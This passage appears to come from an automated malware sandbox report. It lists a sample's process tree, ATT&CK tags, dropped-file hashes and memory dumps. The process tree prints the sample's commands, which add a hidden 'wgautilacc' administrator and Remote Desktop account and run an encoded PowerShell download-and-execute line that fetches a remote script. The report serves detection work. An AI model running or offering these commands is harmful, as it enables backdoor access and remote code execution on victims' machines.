3⤵
PID:4552

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 2gya7bAo /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2228

C:\Windows\system32\net.exe
net.exe user wgautilacc 2gya7bAo /add
2⤵
PID:2208

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user wgautilacc 2gya7bAo /add
3⤵
PID:3816

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:4100

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
2⤵
PID:3300

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
3⤵
PID:4988

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
PID:4932

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
2⤵
PID:4444

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
3⤵
PID:3116

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1456

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Administrators" wgautilacc /ADD
2⤵
PID:4480

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
3⤵
PID:4580

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 2gya7bAo
1⤵
PID:4672

C:\Windows\system32\net.exe
net.exe user wgautilacc 2gya7bAo
2⤵
PID:3212

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user wgautilacc 2gya7bAo
3⤵
PID:4144

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:4248

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
2⤵
- Modifies data under HKEY_USERS
PID:904

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:3196

C:\Windows\System32\Wbem\WMIC.exe
wmic CPU get NAME
2⤵
PID:692

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1384

C:\Windows\system32\cmd.exe
cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
2⤵
PID:1584

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1868

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:2544

C:\Windows\system32\net.exe
net user wgautilacc 1234
2⤵
PID:2108

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user wgautilacc 1234
3⤵
PID:2428

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Remote System Discovery

T1018

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\5i1ciein\5i1ciein.dll
MD5
43e529200bbd017db8c5e41b3c9491ea

SHA1
9e16f77f671a28a303a48c3b6d8778127a69c3a7

SHA256
39efe555a16573ffcee569906fa5922cdb3d1bd9cbabf4394a93913cb28289d5

SHA512
7a6879fe0c27e505fbbe7731281fc326510938360486fed69e75cc6fdd689c5d08d676de11dcc7e78901b60471b1795fb790a3ba5812b6dc6a585837a2828cd7

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dal.sldm
MD5
5235b9055fca1ef1e45da0b1d53f401b

SHA1
62e818c2ca46305092d68752eec3d6ed80b68160

SHA256
bacfad3241f5330ff486ca369970f94f0081fbcbfb3ac4eeae644d9b754d4f6b

SHA512
fe393f9de2f18ee0523d52bc3e34329645e9fef9c8532a9d4e304f145f06e40857d13bf9ac144707a9ac25dac5b6414a3b07a03fec7d4e8140f0dbd3d75abf93

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.com
MD5
f83ab141e29899ceb5308dabde894a0e

SHA1
6ea46bb7102125fa5d39b77547dab28ec346e9f9

SHA256
ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99

SHA512
d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.com
MD5
f83ab141e29899ceb5308dabde894a0e

SHA1
6ea46bb7102125fa5d39b77547dab28ec346e9f9

SHA256
ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99

SHA512
d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.com
MD5
f83ab141e29899ceb5308dabde894a0e

SHA1
6ea46bb7102125fa5d39b77547dab28ec346e9f9

SHA256
ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99

SHA512
d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.com
MD5
f83ab141e29899ceb5308dabde894a0e

SHA1
6ea46bb7102125fa5d39b77547dab28ec346e9f9

SHA256
ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99

SHA512
d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Poggio.sldm
MD5
c4b34368d437e6d227cbe5139a8f1416

SHA1
ed15016ee57b2e6e3d4668a095806e32d685592b

SHA256
e0528c0d484f3d3afddb474a48c3d53c9a21ea5545c4b5e84369ce7a689f553c

SHA512
fa00eca26897559e11726023eb68111e8940a829fbfd1585891e62827ebd2b04696797288691c723b4f3d21fdeeb35d208fafaaf619d71516207ceda5906a219

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Possa.sldm
MD5
363e8c9c9da283202a90df3e90347404

SHA1
449acaedc750c531c8dab91632af2c3b2815d8d0

SHA256
375772bbe8b62a7874620b1bdeab4b35df5a627f226eef622591d27abf85b49e

SHA512
908c450639e168624a6da6e1e5c67e0d16866593f1a6d822ed280bdc1ea5c683856756b5dd7fd4b3af4e0c0d34e5c04acdae2d51f70fb82357222bf07968fe66

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Una.sldm
MD5
524ec822b4a69c05cd16ddfd2b295015

SHA1
9081f4073fd49885df988a49b082af5fc751decf

SHA256
b58c587a32f7d631e8db7f18066084a7435eb79eab837e638070e5391a74c5cc

SHA512
1c863ada86ecaeee46a9d957879e725590064bceb5bc465df4003df60e071550427a687f47a6915c6857a48bef1f7f33d0f807b71f6e778bd19ef11fbfef8fcb

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\j
MD5
363e8c9c9da283202a90df3e90347404

SHA1
449acaedc750c531c8dab91632af2c3b2815d8d0

SHA256
375772bbe8b62a7874620b1bdeab4b35df5a627f226eef622591d27abf85b49e

SHA512
908c450639e168624a6da6e1e5c67e0d16866593f1a6d822ed280bdc1ea5c683856756b5dd7fd4b3af4e0c0d34e5c04acdae2d51f70fb82357222bf07968fe66

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES2E06.tmp
MD5
64bd8367795d35dcb9ae2ade8cc56e28

SHA1
d6ce80f241f780748b9928087eed0c5ba4287e0e

SHA256
95f007a949bd2d72f6a41059a5e5a07d7c3e6602f8ea055a80614ad3b7c79bf7

SHA512
75e1b7ce97026ffcf705b416c84901bb7f3e602a577f66cc204668c0e988d3c6355c8f08a2f59517fa1d4d52325158f6bdb0f32600ec29080509a3df3102d594

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1
MD5
3447df88de7128bdc34942334b2fab98

SHA1
519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

SHA256
9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

SHA512
2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

Download Submit
C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1
MD5
361c1c7a249cd0c5e1619d79d00c87b3

SHA1
faad2c65ad86b2036b7b616870ccca9ce898dd89

SHA256
e0cb26cfcae949c78d1fd36aa2cf6b77fbcd9e9514ce9b50443f9d11052fe44d

SHA512
4674b34143d94a3c4d1abfe4b34f57ab5198599a3f54732d86d215a1ad65d4a58b12fd196a7a25cdff148e7aad6c9a67720abed63be5049c7743aebaa996373b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\5i1ciein\5i1ciein.0.cs
MD5
4864fc038c0b4d61f508d402317c6e9a

SHA1
72171db3eea76ecff3f7f173b0de0d277b0fede7

SHA256
0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

SHA512
9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\5i1ciein\5i1ciein.cmdline
MD5
426fed2da01724f2006ae11d68016af6

SHA1
b2b452d51b429c7a09392208e74f8e6b5c8b8192

SHA256
e2645c44dca773e0774c2ad498caadf37a38c822f05a0c53cfd649b0e71679be

SHA512
77b07daaf0165d9bdf0bcfbfe998bae7f5acbc7ee39858258377c7b99b0fcea57fb940bd9fbe5cb4b82aee996737be71b8517797fcde85ac640437e2341ac183

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\5i1ciein\CSC8DC5E7925414B3AAE6F4B1FD785D9.TMP
MD5
58c4ddfb58d3a8af5e7b456134d047ad

SHA1
27efaa5ad332b1504f8bb6276272d5de637f17a5

SHA256
a8f3212c120d4ec7ef5692f3ed31845d9af9e01eb4fc81b6d973e5fe5bd20b50

SHA512
350c0b39ece3df3eb10d029bd8de7c80a7d23aea5d8fceb4157f1c6b79ab7bdea71344e5a10d158df21d35da9aac3a0d655424cce2f85a7455d148dd47005a73

Download Submit
\Windows\Branding\mediasrv.png
MD5
94737ef49a56072db42e11e7a4d5da86

SHA1
2201c98219d6dd56fcafbbfb99a257ab40601087

SHA256
736e03291f00adb2fec71b1bcb1ef516b9d5e22d4da7cc635a6ab12f535642c6

SHA512
4638a05fab7a3c64e30005ff7000a37bbc5d5b1d5aa292b30efd769c4d01b5332174ff50c70cc88ff3d2f5b8aab79263314c50d085d63f74364232db94542264

Download Submit
\Windows\Branding\mediasvc.png
MD5
18dae8555fba0d70e1849d3a0dbaa235

SHA1
62ce12aab0e9bd9e5c654de7c888c50314dca097

SHA256
23a54b2f564a89844c91233943bde12183daf2c4c495471ac9393bddcc38834e

SHA512
d99f7789cf6d42f214d9ca262718798da665e9d15376858dce1be0bb6e993908eaa98cc1acd20e7ee40b86b1ac1cd5c69df8c2d91ad75b36503a170cdfb2242f

Download Submit
memory/192-217-0x0000000000000000-mapping.dmp

Download
memory/192-219-0x0000020BC9DD0000-0x0000020BC9DD2000-memory.dmp

Filesize
8KB

Download
memory/192-220-0x0000020BC9DD3000-0x0000020BC9DD5000-memory.dmp

Filesize
8KB

Download
memory/192-222-0x0000020BC9DD6000-0x0000020BC9DD8000-memory.dmp

Filesize
8KB

Download
memory/624-155-0x0000000000000000-mapping.dmp

Download
memory/692-255-0x0000000000000000-mapping.dmp

Download
memory/904-254-0x0000000000000000-mapping.dmp

Download
memory/1064-158-0x0000000000000000-mapping.dmp

Download
memory/1584-256-0x0000000000000000-mapping.dmp

Download
memory/1588-208-0x000001E1BD976000-0x000001E1BD978000-memory.dmp

Filesize
8KB

Download
memory/1588-218-0x000001E1BD978000-0x000001E1BD97A000-memory.dmp

Filesize
8KB

Download
memory/1588-188-0x000001E1BD970000-0x000001E1BD972000-memory.dmp

Filesize
8KB

Download
memory/1588-189-0x000001E1BD973000-0x000001E1BD975000-memory.dmp

Filesize
8KB

Download
memory/1588-179-0x0000000000000000-mapping.dmp

Download
memory/1868-257-0x0000000000000000-mapping.dmp

Download
memory/1868-261-0x00000251CBCF8000-0x00000251CBCF9000-memory.dmp

Filesize
4KB

Download
memory/1868-260-0x00000251CBCF6000-0x00000251CBCF8000-memory.dmp

Filesize
8KB

Download
memory/1868-259-0x00000251CBCF3000-0x00000251CBCF5000-memory.dmp

Filesize
8KB

Download
memory/1868-258-0x00000251CBCF0000-0x00000251CBCF2000-memory.dmp

Filesize
8KB

Download
memory/1916-264-0x0000000000000000-mapping.dmp

Download
memory/1936-235-0x0000000000000000-mapping.dmp

Download
memory/2108-262-0x0000000000000000-mapping.dmp

Download
memory/2208-244-0x0000000000000000-mapping.dmp

Download
memory/2428-263-0x0000000000000000-mapping.dmp

Download
memory/3116-249-0x0000000000000000-mapping.dmp

Download
memory/3212-252-0x0000000000000000-mapping.dmp

Download
memory/3300-246-0x0000000000000000-mapping.dmp

Download
memory/3424-135-0x00000146FD093000-0x00000146FD095000-memory.dmp

Filesize
8KB

Download
memory/3424-134-0x00000146FD090000-0x00000146FD092000-memory.dmp

Filesize
8KB

Download
memory/3424-131-0x00000146FD4D0000-0x00000146FD8F1000-memory.dmp

Filesize
4.1MB

Download
memory/3424-129-0x00000146D5050000-0x00000146D56A7000-memory.dmp

Filesize
6.3MB

Download
memory/3424-133-0x00000146D5050000-0x00000146D56A7000-memory.dmp

Filesize
6.3MB

Download
memory/3424-136-0x00000146FD095000-0x00000146FD096000-memory.dmp

Filesize
4KB

Download
memory/3424-137-0x00000146FD096000-0x00000146FD097000-memory.dmp

Filesize
4KB

Download
memory/3816-245-0x0000000000000000-mapping.dmp

Download
memory/3928-227-0x0000000000000000-mapping.dmp

Download
memory/3932-228-0x0000000000000000-mapping.dmp

Download
memory/3956-234-0x0000000000000000-mapping.dmp

Download
memory/4064-238-0x0000000000000000-mapping.dmp

Download
memory/4144-253-0x0000000000000000-mapping.dmp

Download
memory/4240-169-0x0000022839860000-0x0000022839861000-memory.dmp

Filesize
4KB

Download
memory/4240-162-0x00000228384A0000-0x00000228384A1000-memory.dmp

Filesize
4KB

Download
memory/4240-147-0x0000022838500000-0x0000022838502000-memory.dmp

Filesize
8KB

Download
memory/4240-146-0x0000022838690000-0x0000022838691000-memory.dmp

Filesize
4KB

Download
memory/4240-148-0x0000022838503000-0x0000022838505000-memory.dmp

Filesize
8KB

Download
memory/4240-143-0x0000022820220000-0x0000022820221000-memory.dmp

Filesize
4KB

Download
memory/4240-138-0x0000000000000000-mapping.dmp

Download
memory/4240-171-0x0000022838508000-0x0000022838509000-memory.dmp

Filesize
4KB

Download
memory/4240-170-0x0000022839BF0000-0x0000022839BF1000-memory.dmp

Filesize
4KB

Download
memory/4240-164-0x0000022838506000-0x0000022838508000-memory.dmp

Filesize
8KB

Download
memory/4304-265-0x0000000000000000-mapping.dmp

Download
memory/4356-226-0x00000208CE158000-0x00000208CE15A000-memory.dmp

Filesize
8KB

Download
memory/4356-221-0x0000000000000000-mapping.dmp

Download
memory/4356-223-0x00000208CE150000-0x00000208CE152000-memory.dmp

Filesize
8KB

Download
memory/4356-224-0x00000208CE153000-0x00000208CE155000-memory.dmp

Filesize
8KB

Download
memory/4356-225-0x00000208CE156000-0x00000208CE158000-memory.dmp

Filesize
8KB

Download
memory/4444-248-0x0000000000000000-mapping.dmp

Download
memory/4480-250-0x0000000000000000-mapping.dmp

Download
memory/4512-239-0x0000000000000000-mapping.dmp

Download
memory/4524-242-0x0000000000000000-mapping.dmp

Download
memory/4552-243-0x0000000000000000-mapping.dmp

Download
memory/4580-251-0x0000000000000000-mapping.dmp

Download
memory/4624-232-0x0000000000000000-mapping.dmp

Download
memory/4928-114-0x0000000000000000-mapping.dmp

Download
memory/4944-229-0x0000000000000000-mapping.dmp

Download
memory/4976-116-0x0000000000000000-mapping.dmp

Download
memory/4988-247-0x0000000000000000-mapping.dmp

Download
memory/4992-117-0x0000000000000000-mapping.dmp

Download
memory/5016-231-0x0000000000000000-mapping.dmp

Download
memory/5024-120-0x0000000000000000-mapping.dmp

Download
memory/5032-230-0x0000000000000000-mapping.dmp

Download
memory/5040-236-0x0000000000000000-mapping.dmp

Download
memory/5056-233-0x0000000000000000-mapping.dmp

Download
memory/5096-123-0x0000000000000000-mapping.dmp

Download
memory/5108-237-0x0000000000000000-mapping.dmp

Download
memory/5116-124-0x0000000000000000-mapping.dmp

Download
memory/5116-127-0x000001E31E870000-0x000001E31E871000-memory.dmp

Filesize
4KB

Download